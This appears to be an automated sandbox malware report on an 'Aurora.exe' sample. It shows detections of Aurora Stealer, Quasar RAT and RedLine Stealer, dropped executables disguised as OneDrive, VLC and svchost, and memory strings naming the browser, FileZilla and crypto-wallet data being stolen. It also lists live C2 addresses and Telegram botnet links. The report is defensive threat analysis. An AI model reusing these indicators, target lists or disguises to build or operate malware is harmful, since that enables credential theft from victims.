Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Stealing of Sensitive Information

Yara Aurora Stealer

Source: Yara match	File source: 00000000.00000002.2198132330.000000000A0C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aurora.exe PID: 6256, type: MEMORYSTR

Yara detected Quasar RAT

Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 7736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 8124, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED

Found many strings related to Crypto-Wallets (likely being stolen)

Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: [^\u0020-\u007F]ProcessIdname_on_cardencrypted_valuehttps://ipinfo.io/ip%appdata%\logins{0}\FileZilla\recentservers.xml%appdata%\discord\Local Storage\leveldb\tdataAtomicWalletv10/C \EtFile.IOhereuFile.IOm\walFile.IOletsESystem.UItherSystem.UIeumElectrum[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}profiles\Windows\valueexpiras21ation_moas21nth
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: build.exe, 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: user.config{0}\FileZilla\sitemanager.xmlcookies.sqlite\Program Files (x86)\configRoninWalletdisplayNamehost_key\Electrum\walletsName\Exodus\exodus.walletnanjmdknhkinifnkgdcggcfnhdaammmjtdataexpires_utc\Program Data\coMANGOokies.sqMANGOlitessfnExodusDisplayVersion%localappdata%\GuildWalletOpHandlerenVPHandlerN ConHandlernect%DSK_23%YoroiWalletcmdOpera GXhttps://api.ipify.orgcookies//settinString.Removeg[@name=\PasswString.Removeord\]/valuString.RemoveeSaturnWalletWeb DataSteamPathwaasflleasft.datasfCommandLineSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallCookiesis_secureSoftware\Valve\SteamLogin DataID: isSecureNoDefrdDefVPNDefwaasflletasfMewCxv11\Program Files\Opera GX StableSELECT * FROM Win32_Process Where SessionId='nlbmnnijcnlegkjjpcfjclmcfggfefdmnkddgncdjgjfcddamfgcmfnlhccnimig\coFile.IOm.libeFile.IOrty.jFile.IOaxFile.IOxnamefnjhmkhhmkbjkkabndcnnogagogbneecfhilaheimglignddkjgofkcbgekhenbhProfile_Unknowncard_number_encrypted, Name: AppData\Roaming\TReplaceokReplaceenReplaces.tReplacext //settString.Replaceing[@name=\UString.Replacesername\]/vaString.ReplacelueNWinordVWinpn.eWinxeWinhostmoz_cookiesUser Datawindows-1251, CommandLine: \ExodusDisplayNameexpiry.vstring.ReplacedfJaxxpathBSJB
Source: OneDrive.exe, 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: PKCS12 key store MAC invalid - wrong password or corrupted file.[Org.BouncyCastle.Pkcs12.IgnoreUselessPasswordqpassword supplied for keystore that does not require one

Source: Yara match	File source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED

Remote Access Functionality

Yara Aurora Stealer

Source: Yara match	File source: 00000000.00000002.2198132330.000000000A0C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Aurora.exe PID: 6256, type: MEMORYSTR

Yara detected Quasar RAT

Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.46f41b0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.OneDrive.exe.43d6b80.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000002.1804400683.000000000466E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1727999189.00000000030B1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1824795418.0000000002FB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2933944946.0000000002FCC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2092621986.0000000002E4B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.1905772220.0000000004EEE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.0000000004AB9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2078076863.0000000002C6F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.1787802985.0000000000720000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2085170193.00000000048DE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.1798111902.00000000029F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1728900790.00000000040B9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: OneDrive.exe PID: 6972, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7220, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 7736, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: OneDrive Updater.exe PID: 8124, type: MEMORYSTR

Yara detected RedLine Stealer

Source: Yara match	File source: 4.0.build.exe.5e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1688439465.00000000005E2000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build.exe PID: 6332, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	311 Process Injection	1 Abuse Elevation Control Mechanism	Security Account Manager	25 System Information Discovery	SMB/Windows Admin Shares	3 Clipboard Data	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	21 Obfuscated Files or Information	NTDS	641 Security Software Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	1 Timestomp	Cached Domain Credentials	361 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Masquerading	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	361 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Services File Permissions Weakness	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Aurora.exe	100%	Avira	BDS/Bladabindi.udrny
Aurora.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Msedge.exe	100%	Avira	HEUR/AGEN.1315687
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	100%	Avira	HEUR/AGEN.1305500
C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	100%	Avira	HEUR/AGEN.1315687
C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	100%	Avira	TR/AD.Nekark.apwee
C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	100%	Avira	TR/AD.Nekark.apwee
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Msedge.exe	67%	ReversingLabs	Win64.Infostealer.ClipBanker
C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	67%	ReversingLabs	Win64.Infostealer.ClipBanker
C:\Users\user\AppData\Roaming\Google\Chrome\svchost.exe	53%	ReversingLabs	Win64.Trojan.Molotov
C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	96%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	68%	ReversingLabs	ByteCode-MSIL.Hacktool.ResInject
C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	68%	ReversingLabs	ByteCode-MSIL.Hacktool.ResInject
C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	53%	ReversingLabs	Win64.Trojan.Molotov
\Device\Null	0%	ReversingLabs

Source	Detection	Scanner	Label
https://contoso.com/License	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
https://stackoverflow.com/q/11564914/23354;	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://api.ipify.org/	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
https://stackoverflow.com/q/14436606/23354	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://crl.micro	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	Avira URL Cloud	safe
http://go.micros	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpo$	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	Avira URL Cloud	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	Avira URL Cloud	safe
http://154.81.220.233:	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckCon	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdates	0%	Avira URL Cloud	safe
http://tempuri.org/Endpo(	0%	Avira URL Cloud	safe
auroraforge.art	0%	Avira URL Cloud	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	Avira URL Cloud	safe
http://tempuri.org/Endpo4	0%	Avira URL Cloud	safe
https://github.com/sapics/ip-location-db/raw/master/dbip-city/dbip-city-ipv4.csv.gzjson:	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdateLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesLR	0%	Avira URL Cloud	safe
https://www.sysinternals.com0	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/	0%	Avira URL Cloud	safe
https://stackoverflow.com/q/2152978/23354sCannot	0%	Avira URL Cloud	safe
https://go.microsoft.coV	0%	Avira URL Cloud	safe
http://tempuri.org/0	0%	Avira URL Cloud	safe
https://aka.ms/winsvr-2022-pshelp	0%	Avira URL Cloud	safe
https://t.me/aurora_botnet_support	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	Avira URL Cloud	safe
https://api.telegram.org/file/bot%s/%sindex	0%	Avira URL Cloud	safe
https://ipinfo.io/ip%appdata%	0%	Avira URL Cloud	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	Avira URL Cloud	safe
http://154.81.220.233:28105	0%	Avira URL Cloud	safe
https://github.com/electron/electron/releases/download/v%s/electron-v%s-%s-%s.zipInvalid	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/SetEnvironmentLR	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/CheckConnect	0%	Avira URL Cloud	safe
http://154.81.220.233:28105t-	0%	Avira URL Cloud	safe
http://154.81.220.233:28105/	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://go.microsoft.coVpnClient.psd1mpatib	0%	Avira URL Cloud	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	Avira URL Cloud	safe
http://127.0.0.1/dashboardid	0%	Avira URL Cloud	safe
http://tempuri.org/Endpo	0%	Avira URL Cloud	safe
https://t.me/cheshire_aurora	0%	Avira URL Cloud	safe
https://ipwho.is/	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
thesirenmika.com	123.123.123.123	true	true	unknown
auroraforge.art	192.64.119.108	true	true	unknown
xmr-us-east1.nanopool.org	51.222.106.253	true	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
auroraforge.art	true	Avira URL Cloud: safe	unknown
http://154.81.220.233:28105/	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://tempuri.org/Endpoint/CheckConnectLR	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	build.exe, 00000004.00000002.2937734948.0000000002891000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 00000032.00000002.2464311316.000002943ED02000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	build.exe, 00000004.00000002.2937734948.0000000002926000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	build.exe, 00000004.00000002.2937734948.0000000002926000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsLR	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpo$	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://go.micros	powershell.exe, 0000000D.00000002.1764000122.00000000049D6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://154.81.220.233:	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckCon	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002956000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002940000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.0000000002970000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	build.exe, 00000004.00000002.2937734948.00000000028FC000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.00000000028EF000.00000004.00000800.00020000.00000000.sdmp, build.exe, 00000004.00000002.2937734948.000000000292D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/sapics/ip-location-db/raw/master/dbip-city/dbip-city-ipv4.csv.gzjson:	Aurora.exe, 00000000.00000002.2198132330.00000000096C2000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
